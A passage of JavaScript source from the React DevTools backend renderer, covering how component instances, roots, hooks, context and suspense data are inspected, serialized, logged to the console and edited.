value.value;\n          break;\n        case 'rejected':\n          resolvedValue = value.reason;\n          break;\n      }\n    }\n    return {\n      awaited: {\n        name: ioInfo.name,\n        description: getIODescription(resolvedValue),\n        start: ioInfo.start,\n        end: ioInfo.end,\n        byteSize: ioInfo.byteSize == null ? null : ioInfo.byteSize,\n        value: ioInfo.value == null ? null : ioInfo.value,\n        env: ioInfo.env == null ? null : ioInfo.env,\n        owner:\n          ioOwnerInstance === null\n            ? null\n            : instanceToSerializedElement(ioOwnerInstance),\n        stack:\n          ioInfo.debugStack == null\n            ? null\n            : // While we have a ReactStackTrace on ioInfo.stack, that will point to the location on\n              // the server. We need a location that points to the virtual source on the client which\n              // we can then use to source map to the original location.\n              parseStackTrace(ioInfo.debugStack, 1),\n      },\n      env: asyncInfo.env == null ? null : asyncInfo.env,\n      owner:\n        awaitOwnerInstance === null\n          ? null\n          : instanceToSerializedElement(awaitOwnerInstance),\n      stack: awaitStack,\n    };\n  }\n\n  // Fast path props lookup for React Native style editor.\n  // Could use inspectElementRaw() but that would require shallow rendering hooks components,\n  // and could also mess with memoization.\n  function getInstanceAndStyle(id: number): InstanceAndStyle {\n    let instance = null;\n    let style = null;\n\n    const devtoolsInstance = idToDevToolsInstanceMap.get(id);\n    if (devtoolsInstance === undefined) {\n      console.warn(`Could not find DevToolsInstance with id \"${id}\"`);\n      return {instance, style};\n    }\n    if (devtoolsInstance.kind !== FIBER_INSTANCE) {\n      // TODO: Handle VirtualInstance.\n      return {instance, style};\n    }\n\n    const fiber = devtoolsInstance.data;\n    if (fiber !== null) {\n      instance = fiber.stateNode;\n\n      if (fiber.memoizedProps !== null) {\n        style = fiber.memoizedProps.style;\n      }\n    }\n\n    return {instance, style};\n  }\n\n  function inspectElementRaw(id: number): InspectedElement | null {\n    const devtoolsInstance = idToDevToolsInstanceMap.get(id);\n    if (devtoolsInstance === undefined) {\n      console.warn(`Could not find DevToolsInstance with id \"${id}\"`);\n      return null;\n    }\n    if (devtoolsInstance.kind === VIRTUAL_INSTANCE) {\n      return inspectVirtualInstanceRaw(devtoolsInstance);\n    }\n    if (devtoolsInstance.kind === FIBER_INSTANCE) {\n      const isRoot = devtoolsInstance.parent === null;\n      return isRoot\n        ? inspectRootsRaw(devtoolsInstance.id)\n        : inspectFiberInstanceRaw(devtoolsInstance);\n    }\n    (devtoolsInstance: FilteredFiberInstance); // assert exhaustive\n    throw new Error('Unsupported instance kind');\n  }\n\n  function inspectFiberInstanceRaw(\n    fiberInstance: FiberInstance,\n  ): InspectedElement | null {\n    const fiber = fiberInstance.data;\n    if (fiber == null) {\n      return null;\n    }\n\n    const {\n      stateNode,\n      key,\n      memoizedProps,\n      memoizedState,\n      dependencies,\n      tag,\n      type,\n    } = fiber;\n\n    const elementType = getElementTypeForFiber(fiber);\n\n    const usesHooks =\n      (tag === FunctionComponent ||\n        tag === SimpleMemoComponent ||\n        tag === ForwardRef) &&\n      (!!memoizedState || !!dependencies);\n\n    // TODO Show custom UI for Cache like we do for Suspense\n    // For now, just hide state data entirely since it's not meant to be inspected.\n    // Make sure delete, rename, and override of state handles all tags for which\n    // we show state.\n    const showState =\n      tag === ClassComponent || tag === IncompleteClassComponent;\n\n    const typeSymbol = getTypeSymbol(type);\n\n    let canViewSource = false;\n    let context = null;\n    if (\n      tag === ClassComponent ||\n      tag === FunctionComponent ||\n      tag === IncompleteClassComponent ||\n      tag === IncompleteFunctionComponent ||\n      tag === IndeterminateComponent ||\n      tag === MemoComponent ||\n      tag === ForwardRef ||\n      tag === SimpleMemoComponent\n    ) {\n      canViewSource = true;\n      if (stateNode && stateNode.context != null) {\n        // Don't show an empty context object for class components that don't use the context API.\n        const shouldHideContext =\n          elementType === ElementTypeClass &&\n          !(type.contextTypes || type.contextType);\n\n        if (!shouldHideContext) {\n          context = stateNode.context;\n        }\n      }\n    } else if (\n      // Detect pre-19 Context Consumers\n      (typeSymbol === CONTEXT_NUMBER || typeSymbol === CONTEXT_SYMBOL_STRING) &&\n      !(\n        // In 19+, CONTEXT_SYMBOL_STRING means a Provider instead.\n        // It will be handled in a different branch below.\n        // Eventually, this entire branch can be removed.\n        (type._context === undefined && type.Provider === type)\n      )\n    ) {\n      // 16.3-16.5 read from \"type\" because the Consumer is the actual context object.\n      // 16.6+ should read from \"type._context\" because Consumer can be different (in DEV).\n      // NOTE Keep in sync with getDisplayNameForFiber()\n      const consumerResolvedContext = type._context || type;\n\n      // Global context value.\n      context = consumerResolvedContext._currentValue || null;\n\n      // Look for overridden value.\n      let current = ((fiber: any): Fiber).return;\n      while (current !== null) {\n        const currentType = current.type;\n        const currentTypeSymbol = getTypeSymbol(currentType);\n        if (\n          currentTypeSymbol === PROVIDER_NUMBER ||\n          currentTypeSymbol === PROVIDER_SYMBOL_STRING\n        ) {\n          // 16.3.0 exposed the context object as \"context\"\n          // PR #12501 changed it to \"_context\" for 16.3.1+\n          // NOTE Keep in sync with getDisplayNameForFiber()\n          const providerResolvedContext =\n            currentType._context || currentType.context;\n          if (providerResolvedContext === consumerResolvedContext) {\n            context = current.memoizedProps.value;\n            break;\n          }\n        }\n\n        current = current.return;\n      }\n    } else if (\n      // Detect 19+ Context Consumers\n      typeSymbol === CONSUMER_SYMBOL_STRING\n    ) {\n      // This branch is 19+ only, where Context.Provider === Context.\n      // NOTE Keep in sync with getDisplayNameForFiber()\n      const consumerResolvedContext = type._context;\n\n      // Global context value.\n      context = consumerResolvedContext._currentValue || null;\n\n      // Look for overridden value.\n      let current = ((fiber: any): Fiber).return;\n      while (current !== null) {\n        const currentType = current.type;\n        const currentTypeSymbol = getTypeSymbol(currentType);\n        if (\n          // In 19+, these are Context Providers\n          currentTypeSymbol === CONTEXT_SYMBOL_STRING\n        ) {\n          const providerResolvedContext = currentType;\n          if (providerResolvedContext === consumerResolvedContext) {\n            context = current.memoizedProps.value;\n            break;\n          }\n        }\n\n        current = current.return;\n      }\n    }\n\n    let hasLegacyContext = false;\n    if (context !== null) {\n      hasLegacyContext = !!type.contextTypes;\n\n      // To simplify hydration and display logic for context, wrap in a value object.\n      // Otherwise simple values (e.g. strings, booleans) become harder to handle.\n      context = {value: context};\n    }\n\n    const owners: null | Array<SerializedElement> =\n      getOwnersListFromInstance(fiberInstance);\n\n    let hooks: null | HooksTree = null;\n    if (usesHooks) {\n      hooks = inspectHooks(fiber);\n    }\n\n    let rootType = null;\n    let current = fiber;\n    let hasErrorBoundary = false;\n    let hasSuspenseBoundary = false;\n    while (current.return !== null) {\n      const temp = current;\n      current = current.return;\n      if (temp.tag === SuspenseComponent) {\n        hasSuspenseBoundary = true;\n      } else if (isErrorBoundary(ReactTypeOfWork, temp)) {\n        hasErrorBoundary = true;\n      }\n    }\n    const fiberRoot = current.stateNode;\n    if (fiberRoot != null && fiberRoot._debugRootType !== null) {\n      rootType = fiberRoot._debugRootType;\n    }\n\n    let isErrored = false;\n    if (isErrorBoundary(ReactTypeOfWork, fiber)) {\n      // if the current inspected element is an error boundary,\n      // either that we want to use it to toggle off error state\n      // or that we allow to force error state on it if it's within another\n      // error boundary\n      //\n      // TODO: This flag is a leaked implementation detail. Once we start\n      // releasing DevTools in lockstep with React, we should import a function\n      // from the reconciler instead.\n      const DidCapture = 0b000000000000000000010000000;\n      isErrored =\n        (fiber.flags & DidCapture) !== 0 ||\n        forceErrorForFibers.get(fiber) === true ||\n        (fiber.alternate !== null &&\n          forceErrorForFibers.get(fiber.alternate) === true);\n    }\n\n    const plugins: Plugins = {\n      stylex: null,\n    };\n\n    if (enableStyleXFeatures) {\n      if (memoizedProps != null && memoizedProps.hasOwnProperty('xstyle')) {\n        plugins.stylex = getStyleXData(memoizedProps.xstyle);\n      }\n    }\n\n    let source = null;\n    if (canViewSource) {\n      source = getSourceForFiberInstance(fiberInstance);\n    }\n\n    let componentLogsEntry = fiberToComponentLogsMap.get(fiber);\n    if (componentLogsEntry === undefined && fiber.alternate !== null) {\n      componentLogsEntry = fiberToComponentLogsMap.get(fiber.alternate);\n    }\n\n    let nativeTag = null;\n    if (elementType === ElementTypeHostComponent) {\n      nativeTag = getNativeTag(fiber.stateNode);\n    }\n\n    let isSuspended: boolean | null = null;\n    if (tag === SuspenseComponent) {\n      isSuspended = memoizedState !== null;\n    }\n\n    const suspendedBy =\n      fiberInstance.suspenseNode !== null\n        ? // If this is a Suspense boundary, then we include everything in the subtree that might suspend\n          // this boundary down to the next Suspense boundary.\n          getSuspendedByOfSuspenseNode(fiberInstance.suspenseNode, null)\n        : tag === ActivityComponent\n          ? // For Activity components we show everything that suspends the subtree down to the next boundary\n            // so that you can see what suspends a Transition at that level.\n            getSuspendedByOfInstanceSubtree(fiberInstance)\n          : // This set is an edge case where if you pass a promise to a Client Component into a children\n            // position without a Server Component as the direct parent. E.g. <div>{promise}</div>\n            // In this case, this becomes associated with the Client/Host Component where as normally\n            // you'd expect these to be associated with the Server Component that awaited the data.\n            // TODO: Prepend other suspense sources like css, images and use().\n            getSuspendedByOfInstance(fiberInstance, hooks);\n    const suspendedByRange = getSuspendedByRange(\n      getNearestSuspenseNode(fiberInstance),\n    );\n\n    let unknownSuspenders = UNKNOWN_SUSPENDERS_NONE;\n    if (\n      fiberInstance.suspenseNode !== null &&\n      fiberInstance.suspenseNode.hasUnknownSuspenders &&\n      !isSuspended\n    ) {\n      // Something unknown threw to suspended this boundary. Let's figure out why that might be.\n      if (renderer.bundleType === 0) {\n        unknownSuspenders = UNKNOWN_SUSPENDERS_REASON_PRODUCTION;\n      } else if (!('_debugInfo' in fiber)) {\n        // TODO: We really should detect _debugThenable and the auto-instrumentation for lazy/thenables too.\n        unknownSuspenders = UNKNOWN_SUSPENDERS_REASON_OLD_VERSION;\n      } else {\n        unknownSuspenders = UNKNOWN_SUSPENDERS_REASON_THROWN_PROMISE;\n      }\n    }\n\n    return {\n      id: fiberInstance.id,\n\n      // Does the current renderer support editable hooks and function props?\n      canEditHooks: typeof overrideHookState === 'function',\n      canEditFunctionProps: typeof overrideProps === 'function',\n\n      // Does the current renderer support advanced editing interface?\n      canEditHooksAndDeletePaths:\n        typeof overrideHookStateDeletePath === 'function',\n      canEditHooksAndRenamePaths:\n        typeof overrideHookStateRenamePath === 'function',\n      canEditFunctionPropsDeletePaths:\n        typeof overridePropsDeletePath === 'function',\n      canEditFunctionPropsRenamePaths:\n        typeof overridePropsRenamePath === 'function',\n\n      canToggleError: supportsTogglingError && hasErrorBoundary,\n      // Is this error boundary in error state.\n      isErrored,\n\n      canToggleSuspense:\n        supportsTogglingSuspense &&\n        hasSuspenseBoundary &&\n        // If it's showing the real content, we can always flip fallback.\n        (!isSuspended ||\n          // If it's showing fallback because we previously forced it to,\n          // allow toggling it back to remove the fallback override.\n          forceFallbackForFibers.has(fiber) ||\n          (fiber.alternate !== null &&\n            forceFallbackForFibers.has(fiber.alternate))),\n      isSuspended: isSuspended,\n\n      source,\n\n      stack:\n        fiber._debugOwner == null || fiber._debugStack == null\n          ? null\n          : parseStackTrace(fiber._debugStack, 1),\n\n      // Does the component have legacy context attached to it.\n      hasLegacyContext,\n\n      key:\n        key != null\n          ? key === REACT_OPTIMISTIC_KEY\n            ? 'React.optimisticKey'\n            : key\n          : null,\n\n      type: elementType,\n\n      // Inspectable properties.\n      // TODO Review sanitization approach for the below inspectable values.\n      context,\n      hooks,\n      props: memoizedProps,\n      state: showState ? memoizedState : null,\n      errors:\n        componentLogsEntry === undefined\n          ? []\n          : Array.from(componentLogsEntry.errors.entries()),\n      warnings:\n        componentLogsEntry === undefined\n          ? []\n          : Array.from(componentLogsEntry.warnings.entries()),\n\n      suspendedBy: suspendedBy,\n      suspendedByRange: suspendedByRange,\n      unknownSuspenders: unknownSuspenders,\n\n      // List of owners\n      owners,\n\n      env: null,\n\n      rootType,\n      rendererPackageName: renderer.rendererPackageName,\n      rendererVersion: renderer.version,\n\n      plugins,\n\n      nativeTag,\n    };\n  }\n\n  function inspectVirtualInstanceRaw(\n    virtualInstance: VirtualInstance,\n  ): InspectedElement | null {\n    const source = getSourceForInstance(virtualInstance);\n\n    const componentInfo = virtualInstance.data;\n    const key =\n      typeof componentInfo.key === 'string' ? componentInfo.key : null;\n    const props = componentInfo.props == null ? null : componentInfo.props;\n    const owners: null | Array<SerializedElement> =\n      getOwnersListFromInstance(virtualInstance);\n\n    let rootType = null;\n    let hasErrorBoundary = false;\n    let hasSuspenseBoundary = false;\n    const nearestFiber = getNearestFiber(virtualInstance);\n    if (nearestFiber !== null) {\n      let current = nearestFiber;\n      while (current.return !== null) {\n        const temp = current;\n        current = current.return;\n        if (temp.tag === SuspenseComponent) {\n          hasSuspenseBoundary = true;\n        } else if (isErrorBoundary(ReactTypeOfWork, temp)) {\n          hasErrorBoundary = true;\n        }\n      }\n      const fiberRoot = current.stateNode;\n      if (fiberRoot != null && fiberRoot._debugRootType !== null) {\n        rootType = fiberRoot._debugRootType;\n      }\n    }\n\n    const plugins: Plugins = {\n      stylex: null,\n    };\n\n    const componentLogsEntry =\n      componentInfoToComponentLogsMap.get(componentInfo);\n\n    const isSuspended = null;\n    // Things that Suspended this Server Component (use(), awaits and direct child promises)\n    const suspendedBy = getSuspendedByOfInstance(virtualInstance, null);\n    const suspendedByRange = getSuspendedByRange(\n      getNearestSuspenseNode(virtualInstance),\n    );\n\n    return {\n      id: virtualInstance.id,\n\n      canEditHooks: false,\n      canEditFunctionProps: false,\n\n      canEditHooksAndDeletePaths: false,\n      canEditHooksAndRenamePaths: false,\n      canEditFunctionPropsDeletePaths: false,\n      canEditFunctionPropsRenamePaths: false,\n\n      canToggleError: supportsTogglingError && hasErrorBoundary,\n      isErrored: false,\n\n      canToggleSuspense: supportsTogglingSuspense && hasSuspenseBoundary,\n      isSuspended: isSuspended,\n\n      source,\n\n      stack:\n        componentInfo.owner == null || componentInfo.debugStack == null\n          ? null\n          : parseStackTrace(componentInfo.debugStack, 1),\n\n      // Does the component have legacy context attached to it.\n      hasLegacyContext: false,\n\n      key: key,\n\n      type: ElementTypeVirtual,\n\n      // Inspectable properties.\n      // TODO Review sanitization approach for the below inspectable values.\n      context: null,\n      hooks: null,\n      props: props,\n      state: null,\n      errors:\n        componentLogsEntry === undefined\n          ? []\n          : Array.from(componentLogsEntry.errors.entries()),\n      warnings:\n        componentLogsEntry === undefined\n          ? []\n          : Array.from(componentLogsEntry.warnings.entries()),\n\n      suspendedBy: suspendedBy,\n      suspendedByRange: suspendedByRange,\n      unknownSuspenders: UNKNOWN_SUSPENDERS_NONE,\n\n      // List of owners\n      owners,\n\n      env: componentInfo.env == null ? null : componentInfo.env,\n\n      rootType,\n      rendererPackageName: renderer.rendererPackageName,\n      rendererVersion: renderer.version,\n\n      plugins,\n\n      nativeTag: null,\n    };\n  }\n\n  let mostRecentlyInspectedElement: InspectedElement | null = null;\n  let hasElementUpdatedSinceLastInspected: boolean = false;\n  let currentlyInspectedPaths: Object = {};\n\n  function isMostRecentlyInspectedElement(id: number): boolean {\n    if (mostRecentlyInspectedElement === null) {\n      return false;\n    }\n    if (mostRecentlyInspectedElement.id === id) {\n      return true;\n    }\n\n    if (mostRecentlyInspectedElement.type === ElementTypeRoot) {\n      // we inspected the screen recently. If we're inspecting another root, we're\n      // still inspecting the screen.\n      const instance = idToDevToolsInstanceMap.get(id);\n      return (\n        instance !== undefined &&\n        instance.kind === FIBER_INSTANCE &&\n        instance.parent === null\n      );\n    }\n    return false;\n  }\n\n  function isMostRecentlyInspectedElementCurrent(id: number): boolean {\n    return (\n      isMostRecentlyInspectedElement(id) && !hasElementUpdatedSinceLastInspected\n    );\n  }\n\n  // Track the intersection of currently inspected paths,\n  // so that we can send their data along if the element is re-rendered.\n  function mergeInspectedPaths(path: Array<string | number>) {\n    let current = currentlyInspectedPaths;\n    path.forEach(key => {\n      if (!current[key]) {\n        current[key] = {};\n      }\n      current = current[key];\n    });\n  }\n\n  function createIsPathAllowed(\n    key: string | null,\n    secondaryCategory: 'suspendedBy' | 'hooks' | null,\n  ) {\n    // This function helps prevent previously-inspected paths from being dehydrated in updates.\n    // This is important to avoid a bad user experience where expanded toggles collapse on update.\n    return function isPathAllowed(path: Array<string | number>): boolean {\n      switch (secondaryCategory) {\n        case 'hooks':\n          if (path.length === 1) {\n            // Never dehydrate the \"hooks\" object at the top levels.\n            return true;\n          }\n\n          if (\n            path[path.length - 2] === 'hookSource' &&\n            path[path.length - 1] === 'fileName'\n          ) {\n            // It's important to preserve the full file name (URL) for hook sources\n            // in case the user has enabled the named hooks feature.\n            // Otherwise the frontend may end up with a partial URL which it can't load.\n            return true;\n          }\n\n          if (\n            path[path.length - 1] === 'subHooks' ||\n            path[path.length - 2] === 'subHooks'\n          ) {\n            // Dehydrating the 'subHooks' property makes the HooksTree UI a lot more complicated,\n            // so it's easiest for now if we just don't break on this boundary.\n            // We can always dehydrate a level deeper (in the value object).\n            return true;\n          }\n          break;\n        case 'suspendedBy':\n          if (path.length < 5) {\n            // Never dehydrate anything above suspendedBy[index].awaited.value\n            // Those are part of the internal meta data. We only dehydrate inside the Promise.\n            return true;\n          }\n          break;\n        default:\n          break;\n      }\n\n      let current =\n        key === null ? currentlyInspectedPaths : currentlyInspectedPaths[key];\n      if (!current) {\n        return false;\n      }\n      for (let i = 0; i < path.length; i++) {\n        current = current[path[i]];\n        if (!current) {\n          return false;\n        }\n      }\n      return true;\n    };\n  }\n\n  function updateSelectedElement(inspectedElement: InspectedElement): void {\n    const {hooks, id, props} = inspectedElement;\n\n    const devtoolsInstance = idToDevToolsInstanceMap.get(id);\n    if (devtoolsInstance === undefined) {\n      console.warn(`Could not find DevToolsInstance with id \"${id}\"`);\n      return;\n    }\n    if (devtoolsInstance.kind !== FIBER_INSTANCE) {\n      // TODO: Handle VirtualInstance.\n      return;\n    }\n\n    const fiber = devtoolsInstance.data;\n    const {elementType, stateNode, tag, type} = fiber;\n\n    switch (tag) {\n      case ClassComponent:\n      case IncompleteClassComponent:\n      case IndeterminateComponent:\n        global.$r = stateNode;\n        break;\n      case IncompleteFunctionComponent:\n      case FunctionComponent:\n        global.$r = {\n          hooks,\n          props,\n          type,\n        };\n        break;\n      case ForwardRef:\n        global.$r = {\n          hooks,\n          props,\n          type: type.render,\n        };\n        break;\n      case MemoComponent:\n      case SimpleMemoComponent:\n        global.$r = {\n          hooks,\n          props,\n          type:\n            elementType != null && elementType.type != null\n              ? elementType.type\n              : type,\n        };\n        break;\n      default:\n        global.$r = null;\n        break;\n    }\n  }\n\n  function storeAsGlobal(\n    id: number,\n    path: Array<string | number>,\n    count: number,\n  ): void {\n    if (isMostRecentlyInspectedElement(id)) {\n      const value = getInObject(\n        ((mostRecentlyInspectedElement: any): InspectedElement),\n        path,\n      );\n      const key = `$reactTemp${count}`;\n\n      window[key] = value;\n\n      console.log(key);\n      console.log(value);\n    }\n  }\n\n  function getSerializedElementValueByPath(\n    id: number,\n    path: Array<string | number>,\n  ): ?string {\n    if (isMostRecentlyInspectedElement(id)) {\n      const valueToCopy = getInObject(\n        ((mostRecentlyInspectedElement: any): InspectedElement),\n        path,\n      );\n\n      return serializeToString(valueToCopy);\n    }\n  }\n\n  function inspectElement(\n    requestID: number,\n    id: number,\n    path: Array<string | number> | null,\n    forceFullData: boolean,\n  ): InspectedElementPayload {\n    if (path !== null) {\n      mergeInspectedPaths(path);\n    }\n\n    if (isMostRecentlyInspectedElement(id) && !forceFullData) {\n      if (!hasElementUpdatedSinceLastInspected) {\n        if (path !== null) {\n          let secondaryCategory: 'suspendedBy' | 'hooks' | null = null;\n          if (path[0] === 'hooks' || path[0] === 'suspendedBy') {\n            secondaryCategory = path[0];\n          }\n\n          // If this element has not been updated since it was last inspected,\n          // we can just return the subset of data in the newly-inspected path.\n          return {\n            id,\n            responseID: requestID,\n            type: 'hydrated-path',\n            path,\n            value: cleanForBridge(\n              getInObject(\n                ((mostRecentlyInspectedElement: any): InspectedElement),\n                path,\n              ),\n              createIsPathAllowed(null, secondaryCategory),\n              path,\n            ),\n          };\n        } else {\n          // If this element has not been updated since it was last inspected, we don't need to return it.\n          // Instead we can just return the ID to indicate that it has not changed.\n          return {\n            id,\n            responseID: requestID,\n            type: 'no-change',\n          };\n        }\n      }\n    } else {\n      currentlyInspectedPaths = {};\n    }\n\n    hasElementUpdatedSinceLastInspected = false;\n\n    try {\n      mostRecentlyInspectedElement = inspectElementRaw(id);\n    } catch (error) {\n      // the error name is synced with ReactDebugHooks\n      if (error.name === 'ReactDebugToolsRenderError') {\n        let message = 'Error rendering inspected element.';\n        let stack;\n        // Log error & cause for user to debug\n        console.error(message + '\\n\\n', error);\n        if (error.cause != null) {\n          const componentName = getDisplayNameForElementID(id);\n          console.error(\n            'React DevTools encountered an error while trying to inspect hooks. ' +\n              'This is most likely caused by an error in current inspected component' +\n              (componentName != null ? `: \"${componentName}\".` : '.') +\n              '\\nThe error thrown in the component is: \\n\\n',\n            error.cause,\n          );\n          if (error.cause instanceof Error) {\n            message = error.cause.message || message;\n            stack = error.cause.stack;\n          }\n        }\n\n        return {\n          type: 'error',\n          errorType: 'user',\n          id,\n          responseID: requestID,\n          message,\n          stack,\n        };\n      }\n\n      // the error name is synced with ReactDebugHooks\n      if (error.name === 'ReactDebugToolsUnsupportedHookError') {\n        return {\n          type: 'error',\n          errorType: 'unknown-hook',\n          id,\n          responseID: requestID,\n          message:\n            'Unsupported hook in the react-debug-tools package: ' +\n            error.message,\n        };\n      }\n\n      // Log Uncaught Error\n      console.error('Error inspecting element.\\n\\n', error);\n\n      return {\n        type: 'error',\n        errorType: 'uncaught',\n        id,\n        responseID: requestID,\n        message: error.message,\n        stack: error.stack,\n      };\n    }\n\n    if (mostRecentlyInspectedElement === null) {\n      return {\n        id,\n        responseID: requestID,\n        type: 'not-found',\n      };\n    }\n    const inspectedElement = mostRecentlyInspectedElement;\n\n    // Any time an inspected element has an update,\n    // we should update the selected $r value as wel.\n    // Do this before dehydration (cleanForBridge).\n    updateSelectedElement(inspectedElement);\n\n    // Clone before cleaning so that we preserve the full data.\n    // This will enable us to send patches without re-inspecting if hydrated paths are requested.\n    // (Reducing how often we shallow-render is a better DX for function components that use hooks.)\n    const cleanedInspectedElement = {...inspectedElement};\n    // $FlowFixMe[prop-missing] found when upgrading Flow\n    cleanedInspectedElement.context = cleanForBridge(\n      inspectedElement.context,\n      createIsPathAllowed('context', null),\n    );\n    // $FlowFixMe[prop-missing] found when upgrading Flow\n    cleanedInspectedElement.hooks = cleanForBridge(\n      inspectedElement.hooks,\n      createIsPathAllowed('hooks', 'hooks'),\n    );\n    // $FlowFixMe[prop-missing] found when upgrading Flow\n    cleanedInspectedElement.props = cleanForBridge(\n      inspectedElement.props,\n      createIsPathAllowed('props', null),\n    );\n    // $FlowFixMe[prop-missing] found when upgrading Flow\n    cleanedInspectedElement.state = cleanForBridge(\n      inspectedElement.state,\n      createIsPathAllowed('state', null),\n    );\n    // $FlowFixMe[prop-missing] found when upgrading Flow\n    cleanedInspectedElement.suspendedBy = cleanForBridge(\n      inspectedElement.suspendedBy,\n      createIsPathAllowed('suspendedBy', 'suspendedBy'),\n    );\n\n    return {\n      id,\n      responseID: requestID,\n      type: 'full-data',\n      // $FlowFixMe[prop-missing] found when upgrading Flow\n      value: cleanedInspectedElement,\n    };\n  }\n\n  function inspectRootsRaw(arbitraryRootID: number): InspectedElement | null {\n    const roots = hook.getFiberRoots(rendererID);\n    if (roots.size === 0) {\n      return null;\n    }\n\n    const inspectedRoots: InspectedElement = {\n      // invariants\n      id: arbitraryRootID,\n      type: ElementTypeRoot,\n      // Properties we merge\n      isErrored: false,\n      errors: [],\n      warnings: [],\n      suspendedBy: [],\n      suspendedByRange: null,\n      // TODO: How to merge these?\n      unknownSuspenders: UNKNOWN_SUSPENDERS_NONE,\n      // Properties where merging doesn't make sense so we ignore them entirely in the UI\n      rootType: null,\n      plugins: {stylex: null},\n      nativeTag: null,\n      env: null,\n      source: null,\n      stack: null,\n      rendererPackageName: null,\n      rendererVersion: null,\n      // These don't make sense for a Root. They're just bottom values.\n      key: null,\n      canEditFunctionProps: false,\n      canEditHooks: false,\n      canEditFunctionPropsDeletePaths: false,\n      canEditFunctionPropsRenamePaths: false,\n      canEditHooksAndDeletePaths: false,\n      canEditHooksAndRenamePaths: false,\n      canToggleError: false,\n      canToggleSuspense: false,\n      isSuspended: false,\n      hasLegacyContext: false,\n      context: null,\n      hooks: null,\n      props: null,\n      state: null,\n      owners: null,\n    };\n\n    let minSuspendedByRange = Infinity;\n    let maxSuspendedByRange = -Infinity;\n    roots.forEach(root => {\n      const rootInstance = rootToFiberInstanceMap.get(root);\n      if (rootInstance === undefined) {\n        throw new Error(\n          'Expected a root instance to exist for this Fiber root',\n        );\n      }\n      const inspectedRoot = inspectFiberInstanceRaw(rootInstance);\n      if (inspectedRoot === null) {\n        return;\n      }\n\n      if (inspectedRoot.isErrored) {\n        inspectedRoots.isErrored = true;\n      }\n      for (let i = 0; i < inspectedRoot.errors.length; i++) {\n        inspectedRoots.errors.push(inspectedRoot.errors[i]);\n      }\n      for (let i = 0; i < inspectedRoot.warnings.length; i++) {\n        inspectedRoots.warnings.push(inspectedRoot.warnings[i]);\n      }\n      for (let i = 0; i < inspectedRoot.suspendedBy.length; i++) {\n        inspectedRoots.suspendedBy.push(inspectedRoot.suspendedBy[i]);\n      }\n      const suspendedByRange = inspectedRoot.suspendedByRange;\n      if (suspendedByRange !== null) {\n        if (suspendedByRange[0] < minSuspendedByRange) {\n          minSuspendedByRange = suspendedByRange[0];\n        }\n        if (suspendedByRange[1] > maxSuspendedByRange) {\n          maxSuspendedByRange = suspendedByRange[1];\n        }\n      }\n    });\n\n    if (minSuspendedByRange !== Infinity || maxSuspendedByRange !== -Infinity) {\n      inspectedRoots.suspendedByRange = [\n        minSuspendedByRange,\n        maxSuspendedByRange,\n      ];\n    }\n\n    return inspectedRoots;\n  }\n\n  function logElementToConsole(id: number) {\n    const result = isMostRecentlyInspectedElementCurrent(id)\n      ? mostRecentlyInspectedElement\n      : inspectElementRaw(id);\n    if (result === null) {\n      console.warn(`Could not find DevToolsInstance with id \"${id}\"`);\n      return;\n    }\n\n    const displayName = getDisplayNameForElementID(id);\n\n    const supportsGroup = typeof console.groupCollapsed === 'function';\n    if (supportsGroup) {\n      console.groupCollapsed(\n        `[Click to expand] %c<${displayName || 'Component'} />`,\n        // --dom-tag-name-color is the CSS variable Chrome styles HTML elements with in the console.\n        'color: var(--dom-tag-name-color); font-weight: normal;',\n      );\n    }\n    if (result.props !== null) {\n      console.log('Props:', result.props);\n    }\n    if (result.state !== null) {\n      console.log('State:', result.state);\n    }\n    if (result.hooks !== null) {\n      console.log('Hooks:', result.hooks);\n    }\n    const hostInstances = findHostInstancesForElementID(id);\n    if (hostInstances !== null) {\n      console.log('Nodes:', hostInstances);\n    }\n    if (window.chrome || /firefox/i.test(navigator.userAgent)) {\n      console.log(\n        'Right-click any value to save it as a global variable for further inspection.',\n      );\n    }\n    if (supportsGroup) {\n      console.groupEnd();\n    }\n  }\n\n  function deletePath(\n    type: 'context' | 'hooks' | 'props' | 'state',\n    id: number,\n    hookID: ?number,\n    path: Array<string | number>,\n  ): void {\n    const devtoolsInstance = idToDevToolsInstanceMap.get(id);\n    if (devtoolsInstance === undefined) {\n      console.warn(`Could not find DevToolsInstance with id \"${id}\"`);\n      return;\n    }\n    if (devtoolsInstance.kind !== FIBER_INSTANCE) {\n      // TODO: Handle VirtualInstance.\n      return;\n    }\n    const fiber = devtoolsInstance.data;\n    if (fiber !== null) {\n      const instance = fiber.stateNode;\n\n      switch (type) {\n        case 'context':\n          // To simplify hydration and display of primitive context values (e.g. number, string)\n          // the inspectElement() method wraps context in a {value: ...} object.\n          // We need to remove the first part of the path (the \"value\") before continuing.\n          path = path.slice(1);\n\n          switch (fiber.tag) {\n            case ClassComponent:\n              if (path.length === 0) {\n                // Simple context value (noop)\n              } else {\n                deletePathInObject(instance.context, path);\n              }\n              instance.forceUpdate();\n              break;\n            case FunctionComponent:\n              // Function components using legacy context are not editable\n              // because there's no instance on which to create a cloned, mutated context.\n              break;\n          }\n          break;\n        case 'hooks':\n          if (typeof overrideHookStateDeletePath === 'function') {\n            overrideHookStateDeletePath(fiber, ((hookID: any): number), path);\n          }\n          break;\n        case 'props':\n          if (instance === null) {\n            if (typeof overridePropsDeletePath === 'function') {\n              overridePropsDeletePath(fiber, path);\n            }\n          } else {\n            fiber.pendingProps = copyWithDelete(instance.props, path);\n            instance.forceUpdate();\n          }\n          break;\n        case 'state':\n          switch (fiber.tag) {\n            case ClassComponent:\n            case IncompleteClassComponent:\n              deletePathInObject(instance.state, path);\n              instance.forceUpdate();\n              break;\n          }\n          break;\n      }\n    }\n  }\n\n  function renamePath(\n    type: 'context' | 'hooks' | 'props' | 'state',\n    id: number,\n    hookID: ?number,\n    oldPath: Array<string | number>,\n    newPath: Array<string | number>,\n  ): void {\n    const devtoolsInstance = idToDevToolsInstanceMap.get(id);\n    if (devtoolsInstance === undefined) {\n      console.warn(`Could not find DevToolsInstance with id \"${id}\"`);\n      return;\n    }\n    if (devtoolsInstance.kind !== FIBER_INSTANCE) {\n      // TODO: Handle VirtualInstance.\n      return;\n    }\n    const fiber = devtoolsInstance.data;\n    if (fiber !== null) {\n      const instance = fiber.stateNode;\n\n      switch (type) {\n        case 'context':\n          // To simplify hydration and display of primitive context values (e.g. number, string)\n          // the inspectElement() method wraps context in a {value: ...} object.\n          // We need to remove the first part of the path (the \"value\") before continuing.\n          oldPath = oldPath.slice(1);\n          newPath = newPath.slice(1);\n\n          switch (fiber.tag) {\n            case ClassComponent:\n              if (oldPath.length === 0) {\n                // Simple context value (noop)\n              } else {\n                renamePathInObject(instance.context, oldPath, newPath);\n              }\n              